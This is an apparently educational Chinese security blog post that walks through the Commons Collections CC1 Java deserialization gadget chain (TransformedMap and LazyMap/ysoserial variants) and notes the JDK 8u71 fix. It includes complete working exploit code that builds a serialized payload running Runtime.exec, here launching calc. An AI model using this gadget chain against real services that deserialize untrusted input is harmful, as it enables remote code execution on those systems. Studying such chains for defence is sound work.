Java反序列化CommonsCollections篇-CC1

环境搭建

  • JAVA版本8u65

  • commons-collections 3.2.1

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>
    </dependencies>

Common-Collections 介绍

Apache Commons Collections包和简介

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类

  • org.apache.commons.collections.bag – 实现Bag接口的一组类

  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类

  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类

  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类

  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类

  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类

  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类

  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类

  • org.apache.commons.collections.list – 实现java.util.List接口的一组类

  • org.apache.commons.collections.map – 实现Map系列接口的一组类

  • org.apache.commons.collections.set – 实现Set系列接口的一组类

攻击链分析

寻找尾部

通过ysoserial可以看到危险方法是InvokerTransformer . transform()方法

image-20240521163436805

我们试着用漏洞发现作者的视角来调试代码,作者首先找到了Transformer接口,接口有transform()方法。

有21个实现方法(包含了主角儿InvokerTransformer),找到的InvokerTransformer.transform()方法

image-20240521222016548

image-20240521223049332

1
2
3
4
5
6
7
8
9
10
11
public Object transform(Object input) {  //接受一个对象
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); //反射
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); //方法,参数类型,参数,都可控

}

这就可以作为我们这条链的尾部。

尝试用这个方法去弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {

//普通弹计算器写法
Runtime.getRuntime().exec("calc");


//反射写法
Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(r, "calc");

//InvokerTransformer.transform写法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

}

为什么写 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

首先,我们确认InvokerTransformer.transform()因为参数可控,可以调用任意方法。transform()需要传入的是一个对象,所以传入对象Runtime对象;

接下来看InvokerTransformer的构造方法,第一个参数,方法名(String类型),所以填入”exec”;

第二个参数,参数类型(Class数组),”exec”接受一个 String 类型所以填入new Class[]{String.class};

第三个参数,参数值(Object数组),所以填入new Object[]{“calc”});

image-20240521225147161

image-20240521225202458

下一步的目标是去找调用 transform() 方法的不同类。

寻找调用链

按住alt+f7寻找哪些函数调用了,transform()方法,看到有21个调用image-20240522210518321

我们目标是找到一个不同名方法调用了transform()方法,相当与让调用链往前走一步,最终我们呢找到了TransformdMap. checkSetValue()调用了transform()image-20240522211955793

单独把这几段代码放出来解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//TransformedMap继承了AbstractInputCheckedMapDecorator 并实现了 Serializable 接口
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {

//keyTransformer 和 valueTransformer 的类型是Transformer,这表明它们是对象,而不是基本数据类型或局部变量。
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;


//decorate 方法是一个静态工厂方法,接受一个Map和两个Transformer对象,返回一个经过转换的Map。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

// 构造函数接受一个Map和两个Transformer对象,并调用父类构造函数super(map)来初始化基类部分,同时初始化 keyTransformer 和 valueTransformer 成员变量。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

//checkSetValue 方法用于在设置值时对值进行转换。它通过调用 valueTransformer 的 transform 方法将传入的值转换成目标值。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}
1
2
3
4
5
6
7
8
9
10
11
我们看到返回了一个valueTransformer.transform(value),那valueTransformer是什么?(Ctrl+鼠标左键点击valueTransformer)到了构造函数,构造函数是一个protected,说明只能自己调用
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
最后看到decorate方法完成了装饰操作
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

因为decorate是一个静态方法所以可以直接使用TransformedMap.decorate;

image-20240523095834788

接下来就找谁调用了checkSetValue(),发现就一个调用,AbstractInputCheckedMapDecorator.MapEntry.setValue()。是TransformedMap的父类,发现其实AbstractInputCheckedMapDecorator.setValue()是重写了Entry遍历的写法。那只要有一个类遍历Entry就可以走进setValue

image-20240522222342135

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class CC1 {
public static void main(String[] args) throws Exception {

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();

map.put("key", "value");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}

可以试着调试一些这段代码

image-20240523000545804

首先进入到AbstractInputCheckedMapDecorator.MapEntry.setValue(),parent为TransformedMap对象。

image-20240523090042519

然后进入到TransformedMap.checkSetValue;vulueTransformer为InvokerTransformer对象

image-20240523000632982

然后进入了InvokerTransformer.transform;调用了invoke()方法

image-20240523092438757

捋捋调用链

image-20240523102559433

链首

上面已经证明了我们找的利用链有效,现在再往上级找,找谁调用了setValue(),最终找到了AnnotationInvocationHandler.readObject()调用了setValue()。所以就可以当链首。

image-20240523105916973

TransformMap版CC1

调用链

image-20240523204418229

因为AnnotationInvocationHandler不是public方法,所以只能通过反射创建

image-20240523104354658

反射写法没什么好说的。

image-20240523151140450

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CC1 {
public static void main(String[] args) throws Exception {

Runtime r = Runtime.getRuntime();


InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


//反射获取AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, transformedMap);

SER(o);
UNSER("ser.bin");


}

public static void SER(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object UNSER(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

三个问题

  1. Runtime并不能序列化

  2. 这个循环体不知道是否能进去

  3. AnnotationInvocationHandler.readObject() for循环中是new AnnotationTypeMismatchExceptionProxy并不是我们想要的Runtime类

image-20240523152522150

image-20240523151954472

image-20240523151920747

解决方案

解决问题一:虽然Runtime不可以序列化,但是Runtime.class可以

1
2
3
4
5
6
//通过反射获取Runtime对象
Class<Runtime> c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
1
2
3
4
5
6
7
     //根据InvokerTransformer().transform()编写,相当于用这一串代码,实现上面的代码
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

解决问题二:

image-20240523192532159

分析一下这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); //这里的type就是我们刚刚传入的Override.class
} catch(IllegalArgumentException e) {

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();


for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); //获取成员方法,也就是获取Override的成员方法
Class<?> memberType = memberTypes.get(name); //查找成员方法
if (memberType != null) { //但是Override并没有值,所以根本走不到下面的判断,也就调用不了setValue()
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

改写自己的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class CC1 {
public static void main(String[] args) throws Exception {

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//这段的代码可以通过ChainedTransformer链式调用改写。

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
//key改为Target的成员方法
map.put("value", "value");
Map<Object,Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);


Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
//这里改为Target.class
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap );

SER(o);
UNSER("ser.bin");

}

public static void SER(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object UNSER(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

解决问题三:

ConstantTransformer.transform相当于传入什么就返回什么,这就很方便我们了,我们可以传入(Runtime.class)

image-20240523194708176

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class CC1 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap );

SER(o);
// UNSER("ser.bin");


}

public static void SER(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object UNSER(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

ysoserial版本CC1

image-20240523202238209

其实这后面这部分和TransformMap版本是一样的。我们当时想调用TransformMap.transform()方法,TransformMap版本使用的是TransformMap.checkSetValue()。ysoserial版本使用的是LazyMap.get()

image-20240523202537062

factory正好传入我们之前的ChainedTransformer

image-20240523210551073

image-20240523210636955

LazyMap的意思是一开始不写key,等调用的时候通过transform()调用key,所以一开始要确保没有key;

接下来就找谁调用了get(),找到了AnnotationInvocationHandler.invoke(),而动态代理类会自动执行invoke方法,过这里的判断很简单,只需要不调用equls方法和不调用有参方法就能过这两个if。

image-20240523211936873

AnnotationInvocationHandler从名字来看就是动态处理器类又正好AnnotationInvocationHandler.readObject 调用了entrySet()正好撞在枪口上。menberValues又可控。

image-20240523212053262

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC1 {
public static void main(String[] args) throws Exception {


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h =(InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Target.class, lazyMap );

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, mapProxy);


// SER(o);
UNSER("ser.bin");
}
public static void SER(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object UNSER(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

调用链

image-20240523205520055

后续官方修复方式

对于TransformMap版

JDK 8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。

2024-05-24 110816

对于ysoserial版

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因。

image-20240524111729060

2024-05-24 111150

参考链接

Apache Commons Collections包和简介

Java反序列化CommonsCollections篇(一) CC1链手写EXP

Java反序列化Commons-Collections篇01-CC1链


Java反序列化CommonsCollections篇-CC1
https://sp4rks3.github.io/2024/05/23/JAVA安全/反序列化/CC1/
作者
Sp4rks3
发布于
2024年5月23日
许可协议